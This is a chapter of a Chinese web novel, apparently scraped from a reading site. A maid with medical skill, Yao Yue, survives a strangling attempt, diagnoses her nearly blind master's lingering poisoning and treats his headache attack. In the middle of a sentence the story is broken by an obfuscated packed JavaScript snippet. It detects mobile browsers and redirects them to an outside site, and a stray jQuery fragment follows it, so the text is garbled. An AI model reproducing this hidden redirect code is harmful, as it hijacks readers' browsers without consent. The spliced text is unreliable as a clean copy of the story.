默认冷灰
24号文字
方正启体

9. 修后9章-做他的通房不做我的婢女?

作者:回日泰本书字数:K更新时间:
    【今生】


    也不知昏过去多久,再醒过来的时候,周围明亮了许多。


    几只小小的蝇虫没头没脑地乱撞。


    姚月眨了眨眼,面前的人是画蓝,正俯身查看她。


    两盏油灯放在近处,靠墙的一把交椅上,傅惟政叠腿坐着。


    角落里两个穿鸦青色短褐的男人被绑在一处。


    “这两人要把你勒死,等你家人知道了,也是你悬梁寻了短见。”画蓝苦笑道。


    姚月面皮紧绷着,朝那二人暼了暼。画蓝知她惧意未消,便轰他们出去跪着。


    姚月默了片晌,扶着柱子缓缓爬起来,双膝跪地,向傅惟政行了大礼。


    “奴婢多谢郎君救命之恩。”


    傅惟政仍旧靠在椅背上,折扇缓缓摇动,或许是托这病症的福,他近日耳朵愈发灵敏,愈发能从人的声音里分辨出隐秘的情绪。


    事到如今,她莫非还是不甘心?


    画蓝正引导道:“你不是说能帮郎君‘解忧’么,说说吧,你到底有什么本事?”


    姚月忍着痛坐立起来,话音柔软,却尽量平视着椅子上的人。


    “奴婢没估错的话,郎君已经不大能视物了。”


    画碧不禁惊叹。


    被画蓝用眼锋提醒,才把声音咽了回去。


    姚月扶着柱子站起身,一瘸一拐地走到惟政身旁,冰凉的指尖搭到他的脉上。


    “……这还只是其一,”半晌才道,“郎君近日应当还有头疾发作,发作时恐怕痛苦难当。而这些全都只是表象,其根本是郎君用错了药,体内余毒不清,肆意游走。也就是说要治病,需解毒。”


    这回连画蓝也有些按捺不住激动。从路上各县到京城,郎君秘密请过的本州名医已有十余位。最早的三位全都认定郎君是感染了时疫,药方无一奏效。后来郎君自行服了解毒药,症状迅速减轻,却又添了眼疾和头疾。这两日偷偷从外县请来的郎中也都是头疼医头、眼痛医眼,没有一个能如此笃定地点出这些症状乃是余毒所致,更没有人给出过有用的方子。


    惟政已经停了扇子,眼中空荡荡,却又明亮如炬:“你有办法祛毒?”


    “奴婢定当尽力。”


    画碧柳眉竖起:“什么尽力,你到底行不行?”


    惟政却已经起身:“从今往后,我的病你来治。但在旁人面前,你只能是我的婢女,我的病不可对人透露半个字,你可愿意?”


    姚月点头:“奴婢愿意。”


    画碧瞠目,谨慎如郎君,就这么轻易地信个小毛丫头?


    她与画蓝伸手去拉姚月,姚月却不肯起身:“奴婢还想求郎君一件事……


    “待奴婢医好郎君的病,求郎君放了奴婢身契,允奴婢回家。”


    惟政朝她的方向看过来,可她只是一团灰涩的影子。


    “做婢女如此勉强,做通房便情愿得很,你倒是有些志向。”他冷声笑道。


    姚月听得一愣,正要摆手解释,却被他打断。


    “看来你还是没想清楚,今夜不如就留在此处好好想一想。”


    姚月这才慌忙扶着柱子站起来:“不必不必,奴婢只是求郎君开恩,并没别的意思……”于是咬牙忍着痛,一瘸一拐地跟上去。


    惟政由前头的画碧引着路,听着身后那急迫的、一拖一拽的步子,忽然觉得头皮发紧,太阳穴一跳一跳地肿胀。


    这便是个征兆,他咬紧牙关默念清心咒,试图抚平心绪,让那暗涌的浪涛归于沉寂。他的头疾皆是生于心绪波动之时,今日他实是有些兴奋了。


    可这补救来得太弱太迟,一波巨浪已经扑天盖地席卷而来,毫不给人喘息的机会。


    他被那巨浪卷进了漩涡里,陷得越来越深,疼痛也越来越深刻难耐,最初是被刀剑劈砍、刺透,后来却觉得头颅里像有什么东西不停地膨胀着,将要爆裂开来。他拼了命想挣脱出来,可是四下黑黢黢的,根本找不到生路。


    “郎君……”


    “郎君——”


    耳畔,有人不停地唤他,他却辨不清方向,也辨不清人。


    耳朵里满是嘈杂慌乱的人声,一个比一个焦虑、惶惑。


    “都是你,要不是你那么多事,郎君此时早就好好地歇下了。”


    “……你先让一下,我要摸脉。”


    “就怕你不行。”


    “嘘——先让我试试……郎君,可听得到我说话?郎君,郎君……”


    微凉的指尖落在他身上,他寻到了一个声音,是个很少听到却又莫名亲切的声音。


    他几乎是本能地追上那个声音,跟着它前行,而那一团恼人的乱糟糟也终于渐渐消散。


    那声音不停地唤着他,暗无天日的漩涡里现出一点点萤火般


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17415072|200749||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的光亮,虽然微小却对他不离不弃,他随着那光亮继续走着,那光亮也渐渐壮大,蔓延,大到驱散了黑暗,带他回到了光明里。


    他用尽最后一点气力撑开眼帘,面前是一片灰茫茫,和往常一样,但有一团影子伏在他身前。


    “郎君,我在施针,您累了就睡一会吧。”


    那人的声线温柔、绵缓,他本以为他必得问问她打算如何诊治,却发现只要有这个声音在,他已经能安心地阖上眼。他对这个声音就是有种难以解释的信念。


    于是再也支撑不住,松了口气,沉下去。


    迷迷糊糊的,他跟着这个声音回到了许多年前,但又好像只是昨天。


    那声音出自一个小丫头,她拦在他的马车前,上气不接下气的对荣儿说着话,一张鹅蛋脸透着芙蓉之色,一身略显宽大的粗麻衣裙,手里握着把长扫帚。


    “你家公子的病……我,我觉得,我可以试试。”


    那姑娘瞧上去年纪不过十七八,比他还小好几岁,似乎很紧张,声音轻软,还有些发抖。


    荣儿自是不屑,要赶她走。


    那姑娘脸一红,手抠着胸前的扫帚杆不肯让路:“……要是诊不对,不收你们钱。”


    荣儿不理,一拉缰绳往前走,孰料她迟疑了片刻竟又追上来,隔着纱帘对他喊。


    “公子,就让我试试吧,反正你们也没什么损失。”


    荣儿的话便愈加难听起来,还朝她挥鞭子,她乖觉得很,两手护住脑袋撒腿就跑。


    “……你家公子要有个好歹,都是你害的。”


    那些字软绵绵慢吞吞的,却把荣儿气得脸发青,若不是他拦着,早已按捺不住跳下去教训她。


    他隔着纱帘看过去,见长长的扫帚躺在路边,提扫帚的人早已跑远了,长发在身后甩着,灰白的粗布衣裙白晃晃,颠颠跳跳,一只白兔似的。


    ......


    面前仍是灰蒙蒙一片,但那灰却浸了日光的暖黄。


    大概天早就亮了。


    他伸手往外探了探,身旁软烟罗的帐子垂落着。


    床边有轻浅的呼吸,带着淡淡的药香。


    是她?


    他拉开帷帐,以手探路,朝着那呼吸的源头去。


    光洁浓密的是发丝。


    紧挨着的是一片柔软光洁。


    是她的肌肤。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)